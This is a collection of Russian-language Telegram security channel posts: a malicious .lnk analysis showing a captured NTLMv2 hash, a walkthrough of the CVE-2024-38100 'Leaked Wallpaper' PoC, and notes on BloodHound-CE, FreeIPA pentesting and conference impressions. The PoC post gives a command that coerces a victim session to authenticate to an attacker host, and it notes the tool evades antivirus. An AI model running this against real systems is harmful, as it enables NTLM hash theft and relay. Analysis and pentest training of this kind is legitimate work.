Сам ярлык ведет к браузеру Microsoft Edge🌍.
Так же получаем информацию об имени устройства и MAC Address, на котором данный файл был создан (полезно, если устройство в домене):
Tracker database block
Machine ID: hostname
MAC Address: c4:03:a8:ce:c0:00
MAC Vendor: (Unknown vendor)
Creation: 2023-09-20 16:15:08
Все необходимые данные мы получили, приступаем к следующему этапу анализа
2. Динамический анализ🧑💻.
В рамках динамического анализа производится запуск файла для выявления следующих ключевых аспектов:
- Поведение программы
- Сетевое поведение
- Изменения в файловой системе
- Изменения в реестре
- Используемые системные ресурсы
- Процессное дерево
- Статистика и логирование
- Взаимодействие с другими программами и системами
Учитывая специфику нашего файла интереснее всего взглянуть на сетевой трафик при помощи Wireshark
Находим пакет Session Setup Request, NTLMSSP_AUTH, User: .\tim и видим в нем следующую информацию:
Domain name: DESKTOP-2Q3SAD1
User name: tim
Host name: DESKTOP-2Q3SAD1
NTLMv2 Response: 561393d6c45c520cf59b0f2164a44b53:010100000000000080cc3abb5aeada011c521ff2286be6fe000000000100100052006a00620052006a006900760051000300100052006a00620052006a006900760051000200100041005a0076005100490074006d006d000400100041005a0076005100490074006d006d000700080080cc3abb5aeada0106000400020000000800300030000000000000000100000000200000ec56f98273b68c776c7aa89b1329e54f290cd1254c2586ac939288f6bd63d2370a001000000000000000000000000000000000000900260063006900660073002f003100340037002e00340035002e003100330036002e003200310037000000000000000000
В запросах видим событие передачи данных об имени хоста, с которого было осуществлено подключение, имя пользователя и NTLM хэш.
На этом можно было бы и закончить, но важно понимать, что злоумышленники могут предпринять, имея на руках NetNTLM хэш и принять соответствующие меры, а именно:
- Сбросить пароли для учетных записей пользователей, хэши чьих паролей были переданы
- Заблокировать УЗ пользователя создавшего .lnk файл
- Изолировать от сети хост (если это возможно), на котором .lnk файл был модифицирован
#blueteam
🔥5👍3
💥 Привет, друзья!
Пока ещё не закончился сезон отпусков, хочу сделать небольшой обзор видеоигр про программирование и хакерство. 👾
1️⃣ Начну с одной из самых популярных игр из жанра хакерства — Hacknet. Это отличный симулятор хакера, как в фильмах, со скоростным набором текста, музыкой в стиле Hotline Miami и отдельной псевдооперационной unix-like системой. Почувствуем себя Мистером Роботом 😈
2️⃣ Uplink — наверное самая старая из этого жанра (2006 год). Это тоже симулятор злоумышленника, но с уклоном в "реалистичность" и экономику типа выполняй квесты и покупай апгрейды. Но атмосфера и обстановка не менее затягивающая, как и в Hacknet.
С хакерскими всё, теперь про программирование.
3️⃣ Screeps — MMO Realtime стратегия, где каждого юнита нужно буквально программировать. Единственная проблема — официальный их язык только один - JavaScript. Есть библиотеки и на питоне, но они не официальные и давно не обновлялись. В остальном всё круто.
4️⃣ Human Resource Machine и её сиквел Seven Billion Humans. Ну тут вообще что-то невероятное. Разработчики умудрились использовать ассемблер как основной инструмент головоломки и сделать его понимание настолько простым, что проще только Scratch. В целом все игры от Tomorrow Corporation отличные.
5️⃣ Завершает список Prime Mover - в ней нужно собирать схемы из выданных логических элементов. То-есть по уровню абстракции это самая близкая к железу из перечисленного. Жаль, что она не стала так популярна, как остальные
Вот такой получился хаотичный список, на экстренный случай прокрастинации😁
#NotRedteam
Пока ещё не закончился сезон отпусков, хочу сделать небольшой обзор видеоигр про программирование и хакерство. 👾
С хакерскими всё, теперь про программирование.
Вот такой получился хаотичный список, на экстренный случай прокрастинации😁
#NotRedteam
Please open Telegram to view this post
VIEW IN TELEGRAM
❤10👍2👌1🤝1
A long time ago... около двух недель назад был опубликован POC для CVE-2024-38100 под названием Leaked Wallpaper. Сегодня посмотрим на него поближе😋
😦 Что за CVE?
CVE-2024-38100 — уязвимость в механизме обработки обоев операционной системы Windows.
😳 Принцип работы эксплоита
😋 По шагам:
1. Билдим наш exe
2. Чекаем сессии через quser
3. Выбираем жертву среди сессий
4. Пускаем на нее наш эксплоит :
5. Вы великолепны, получили Net-NTLMv1 (см. пикчу в посте). В результате можно релеить, брутить или восстановить NTLM-хеш при помощи брута и уязвимостей DES.
😳 Что по детектам?
Ни в статике, ни в динамике антивирь пока не ругается
🙂 Уже пофиксили?
Да, в июне Microsoft выпустили фиксу KB5040434, так что успевайте юзать до ее установки :)
#redteam
CVE-2024-38100 — уязвимость в механизме обработки обоев операционной системы Windows.
Реализован через изменение обоев привилегированного пользователя с использованием специального COM-oбъекта
1. Билдим наш exe
2. Чекаем сессии через quser
3. Выбираем жертву среди сессий
4. Пускаем на нее наш эксплоит :
LeakedWallpaper.exe session_id \\attacker_ip\c$\1.jpg -downgrade
‼️ Стоит обратить внимание на флаг -downgrade (понижение версии NetNTLM), для его использования необходимы права локального администратора, а именно наличие прав на изменение параметров реестра LMCompatibilityLevel, NtlmMinClientSec, RestrictSendingNTLMTraffic.
5. Вы великолепны, получили Net-NTLMv1 (см. пикчу в посте). В результате можно релеить, брутить или восстановить NTLM-хеш при помощи брута и уязвимостей DES.
Ни в статике, ни в динамике антивирь пока не ругается
Да, в июне Microsoft выпустили фиксу KB5040434, так что успевайте юзать до ее установки :)
#redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍4🔥1
This media is not supported in your browser
VIEW IN TELEGRAM
Привет, а мы сегодня на Offzone.
Доклады неплохие, и конкурсы интересные. Не хватает только бесплатной еды (бесплатная вода есть)
Доклады неплохие, и конкурсы интересные. Не хватает только бесплатной еды (бесплатная вода есть)
🔥11😁3
Так уж получилось, что мы попали под недавнюю багу в обновлении windows. Мы, настроенные порешать таски на второй день, решили взять ноут, но вот обновлять винду было ошибкой. Grub перестал загружаться, и выяснялось это как раз в тот момент, когда сели решать таски. 😥
Ну а в общем по офзону всё как всегда - куча активностей, докладов и мерча. И не менее важная фишка - постоянные очереди на стендах. Но проводить время всё равно приятно и интересно.
Ну а в общем по офзону всё как всегда - куча активностей, докладов и мерча. И не менее важная фишка - постоянные очереди на стендах. Но проводить время всё равно приятно и интересно.
😱4❤2😭2🌚1
Привет, друзья! 👋
Хочу поделиться интересной статьей от коллег из Kaspersky о самых популярных эксплойтах и уязвимостях за второй квартал 2024 года.
За первый квартал этого года наиболее популярными уязвимостями были различные инъекции:
1️⃣ SQL Injection
2️⃣ Command Injection
Во втором квартале лидеры изменились:
1️⃣ Unrestricted Upload of File with Dangerous Type
2️⃣ SQL Injection
3️⃣ Path Traversal
Из наиболее часто эксплуатируемых CVE для Windows:
1️⃣ RCE:
CVE-2018-0802, CVE-2017-11882 - уязвимости в редакторе формул ms office
CVE-2021-40444 - уязвимость в MSHTML
2️⃣ LPE: CVE-2017-0199 - уязвимость в MS office и WordPad
Для Linux:
1️⃣ LPE:
CVE-2022-0847, CVE-2023-2640 — уязвимости в ядре Linux
CVE-2021-4034 — уязвимость в утилите pkexec
😏 Подробнее можно прочитать здесь: vulnerability-exploit-report-q2-2024
Главное, друзья, без паники😊 ! Грамотный мониторинг сети, своевременный патч-менеджмент и комплексный подход к защите, включая обучение сотрудников основам ИБ, помогут вам сохранить спокойствие и безопасность.
Всем хорошей рабочей недели и будьте в безопасности!🛡
#blueteam
Хочу поделиться интересной статьей от коллег из Kaspersky о самых популярных эксплойтах и уязвимостях за второй квартал 2024 года.
За первый квартал этого года наиболее популярными уязвимостями были различные инъекции:
Во втором квартале лидеры изменились:
Из наиболее часто эксплуатируемых CVE для Windows:
CVE-2018-0802, CVE-2017-11882 - уязвимости в редакторе формул ms office
CVE-2021-40444 - уязвимость в MSHTML
Для Linux:
CVE-2022-0847, CVE-2023-2640 — уязвимости в ядре Linux
CVE-2021-4034 — уязвимость в утилите pkexec
Главное, друзья, без паники
Всем хорошей рабочей недели и будьте в безопасности!
#blueteam
Please open Telegram to view this post
VIEW IN TELEGRAM
securelist.ru
Анализ ландшафта уязвимостей во втором квартале 2024 года
Отчет содержит статистику по уязвимостям и эксплойтам, а также разбор интересных уязвимостей, обнаруженных во втором квартале 2024 года.
🔥12👍2
💥 Привет. Решил я значит перейти с bloodhound на bloodhound-ce, так как первый перестал поддерживаться. Делюсь опытом:
*️⃣ Ставится одной командой запуска контейнеров. Хоть и предыдущий бладхаунд тоже был прост в развертывании, там не было единого docker-compose файла из коробки
*️⃣ Клиентский интерфейс переехал в веб, что является как плюсом (можно развернуть прям на сервере), так и минусом (спад в производительности)
*️⃣ Нет темной темы, значит интерфейс уже устарел
*️⃣ Нету дебаг-режима для запросов к Neo4j. Да, есть отдельное поле, в которое можно писать, но отображает оно не всё
Но самое главное, это пляски с пометкой цели как Owned и High Value. В прошлом бладхаунде это было просто:
Но я удивился, когда обнаружил, что в новой версии свойства owned и highvalue отсутствуют. Ко всему прочему, в дефолтные запросы не завезли манипуляции с этими свойствами. Что делать?
Оказывается, теперь это переехало в свойство system_tags
Да, разрабы зачем-то решили хранить элементы в строке, разделенной пробелами.
Вопрос: вот мы каким-то образом скомпрометировали пачку пользаков, допустим 50 штук. Как их пометить, как “Owned” и не получить нервный тик. Я придумал вот такое кривое:
Как посмотреть помеченных
Но при этом немного ломается gui-интерфейс - пропадает кнопка “Add To Owned/Remove From Owned”, и вот тут я уже хз.
Это конечно, крайне неудобно, при том, что этот функционал довольно важный при просмотре мисконфигов. И в интернетах информации крайне мало. Надеюсь, у разрабов были причины менять логику работы
Но самое главное, это пляски с пометкой цели как Owned и High Value. В прошлом бладхаунде это было просто:
MATCH (u: User) WHERE u.owned = True RETURN u
Но я удивился, когда обнаружил, что в новой версии свойства owned и highvalue отсутствуют. Ко всему прочему, в дефолтные запросы не завезли манипуляции с этими свойствами. Что делать?
Оказывается, теперь это переехало в свойство system_tags
MATCH (u: User) WHERE u.system_tags is not null RETURN u.name, u.system_tags LIMIT 2000
╒═════════════════════╤════════════════════╕
│u.name │u.system_tags │
╞═════════════════════╪════════════════════╡
│"user1@DOMAIN1.CORP" │"owned" │
├─────────────────────┼────────────────────┤
│"user2@DOMAIN2.CORP" │"admin_tier_0 owned"│
└─────────────────────┴────────────────────┘
Да, разрабы зачем-то решили хранить элементы в строке, разделенной пробелами.
Вопрос: вот мы каким-то образом скомпрометировали пачку пользаков, допустим 50 штук. Как их пометить, как “Owned” и не получить нервный тик. Я придумал вот такое кривое:
WITH ['user1@domain.corp', 'user2@domain.corp', 'user3@domain.corp'] AS userList
MATCH (u:User)
WHERE toLower(u.name) IN userList AND (u.system_tags IS NULL OR u.system_tags = '' OR NOT u.system_tags CONTAINS 'owned')
SET u.system_tags = CASE
WHEN u.system_tags IS NULL OR u.system_tags = '' THEN 'owned'
ELSE u.system_tags + ' owned'
END
RETURN u.name, u.system_tags
Как посмотреть помеченных
MATCH (n)
WHERE n.system_tags CONTAINS 'owned'
RETURN n
Но при этом немного ломается gui-интерфейс - пропадает кнопка “Add To Owned/Remove From Owned”, и вот тут я уже хз.
Это конечно, крайне неудобно, при том, что этот функционал довольно важный при просмотре мисконфигов. И в интернетах информации крайне мало. Надеюсь, у разрабов были причины менять логику работы
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5👍2❤1👨💻1👀1
FreeIPA, would you?😉
И нет, речь не о бесплатной ипе в банке с последней конфы😋
Собственно, не так давно отгремел OFFZONE 2024, где одной из тем докладов стала FreeIPA.
Этот пост будет беглым ознакомлением о том, с чем кушац эту вашу FreeIPA.
😳 Так о чем речь?
Коротко:
То есть этакий аналог с открытым исходным кодом всем уже давно знакомой Active Directory, но для линухов.
😦 Немножко больше инфы для общего понимания
База с freeipa.org
Ее возможности:
➡️ Управлять пользователями и группами: создавать, редактировать, удалять учетные записи пользователей и групп.
➡️ Управлять доступом: назначать права доступа к файлам, каталогам, системам и приложениям.
➡️ Автоматизировать задачи: использовать автоматизацию для рутинных задач управления доступом.
➡️ Обеспечивать безопасность: использовать аутентификацию Kerberos, SSO и другие функции для повышения безопасности.
🥰 Ha-hack FreeIPA
Сразу хочется отметить одну из интересных особенностей это отсутствие NTLM-аутентификации.
Также в FreeIPA используется полностью своя LDAP структура, но можно юзать старый добрый ldapsearch.
Что по Kerberos:
▪️ User enum (kerbrute)
▪️ Password spraying (kerbrute)
▪️ Дамп тикетов (tickey)
▪️ Получение ключа хоста (/etc/krb5.keytab)
Ну и естественно можно найти всякие интересные CVE.
😳 Итог:
Мало доков, нет готовых автоматизированных решений для поиска уязвимостей, но зато открытый исходый код для тех, кто хочет узнать, что там под капотом.
👍 Тот самый доклад с OFFZONE для ознакомления:
Pentest FreeIPA, или Углубляемся в зоопарк
#redteam
И нет, речь не о бесплатной ипе в банке с последней конфы
Собственно, не так давно отгремел OFFZONE 2024, где одной из тем докладов стала FreeIPA.
Этот пост будет беглым ознакомлением о том, с чем кушац эту вашу FreeIPA.
Коротко:
FreeIPA:централизованное управление идентификацией и доступом
То есть этакий аналог с открытым исходным кодом всем уже давно знакомой Active Directory, но для линухов.
Ее возможности:
Сразу хочется отметить одну из интересных особенностей это отсутствие NTLM-аутентификации.
Если не хочешь, чтобы релеили твой NTLM, не юзай NTLM💅
Также в FreeIPA используется полностью своя LDAP структура, но можно юзать старый добрый ldapsearch.
Что по Kerberos:
Ну и естественно можно найти всякие интересные CVE.
Мало доков, нет готовых автоматизированных решений для поиска уязвимостей, но зато открытый исходый код для тех, кто хочет узнать, что там под капотом.
Pentest FreeIPA, или Углубляемся в зоопарк
#redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9👍3🫡2🔥1
REDtalk
💥 Привет. Решил я значит перейти с bloodhound на bloodhound-ce, так как первый перестал поддерживаться. Делюсь опытом: *️⃣ Ставится одной командой запуска контейнеров. Хоть и предыдущий бладхаунд тоже был прост в развертывании, там не было единого docker…
💥 Привет, недавно я делал пост про странную логику Bloodhound-CE при работе с Owned и High Value пользователях.
Проблема была в кривом отображении UI и сбросе данных после перезагрузки при ручной пометке через Neo4j.
Я пошел смотреть исходники и обнаружил преинтереснейшую вещь — В отличии от предыдущего бладхаунда, тут, помимо приложухи и Neo4j в стек добавилась Postgres. Если раньше аутентификация проводилось только через bolt в Neo4j, то тут добавляется еще и аутентификация в саму GUI. Вот эта инфа, и другие настройки, типа Custom Queries хранятся в постгресе.
И (уже не первый раз) я удивился, когда увидел, что там в отдельной таблице хранятся данные об Owned и High-Value нодах.
Из запроса можно увидеть 2 таблицы, одна из которых (нижняя) содержит теги и ID этих тегов, вторая (верхняя) совмещает SID объектов AD с этими ID. То-есть у меня в бладхаенде есть 4 пользака, помеченные как Owned.
И после перезагрузки все свойства system-tags, что было отмечено в Neo4J обнуляются и устанавливаются вот эти четыре.
Нет слов, одни эмоции, не знаю, зачем разработчики сделали такую логику. Наверное стоит завести Issue на гитхабе
#redteam
Проблема была в кривом отображении UI и сбросе данных после перезагрузки при ручной пометке через Neo4j.
Я пошел смотреть исходники и обнаружил преинтереснейшую вещь — В отличии от предыдущего бладхаунда, тут, помимо приложухи и Neo4j в стек добавилась Postgres. Если раньше аутентификация проводилось только через bolt в Neo4j, то тут добавляется еще и аутентификация в саму GUI. Вот эта инфа, и другие настройки, типа Custom Queries хранятся в постгресе.
И (уже не первый раз) я удивился, когда увидел, что там в отдельной таблице хранятся данные об Owned и High-Value нодах.
bloodhound=# select * from asset_group_selectors;
---+------------------+------------------+---+----+-------------------------------+------------------------------
1 | S-1-<SNIP>-17251 | S-1-<SNIP>-17251 | f | 1 | 2024-09-02 09:34:55.977957+00 | 2024-09-02 09:34:55.977957+00
1 | S-1-<SNIP>-7261 | S-1-<SNIP>-7261 | f | 3 | 2024-09-02 10:51:05.968531+00 | 2024-09-02 10:51:05.968531+00
1 | S-1-<SNIP>-13965 | S-1-<SNIP>-13965 | f | 4 | 2024-09-02 10:51:10.386376+00 | 2024-09-02 10:51:10.386376+00
1 | S-1-<SNIP>-21856 | S-1-<SNIP>-21856 | f | 5 | 2024-09-02 11:29:49.443476+00 | 2024-09-02 11:29:49.443476+00
(4 rows)
bloodhound=# select * from asset_groups;
name | tag | system_group | id | created_at | updated_at
-----------------+--------------+--------------+----+-------------------------------+-------------------------------
Owned | owned | t | 1 | |
Admin Tier Zero | admin_tier_0 | t | 2 | 2024-08-28 12:34:58.093203+00 | 2024-08-28 12:34:58.093203+00
(2 rows)
Из запроса можно увидеть 2 таблицы, одна из которых (нижняя) содержит теги и ID этих тегов, вторая (верхняя) совмещает SID объектов AD с этими ID. То-есть у меня в бладхаенде есть 4 пользака, помеченные как Owned.
И после перезагрузки все свойства system-tags, что было отмечено в Neo4J обнуляются и устанавливаются вот эти четыре.
Нет слов, одни эмоции, не знаю, зачем разработчики сделали такую логику. Наверное стоит завести Issue на гитхабе
#redteam
👍5🔥4 3👏2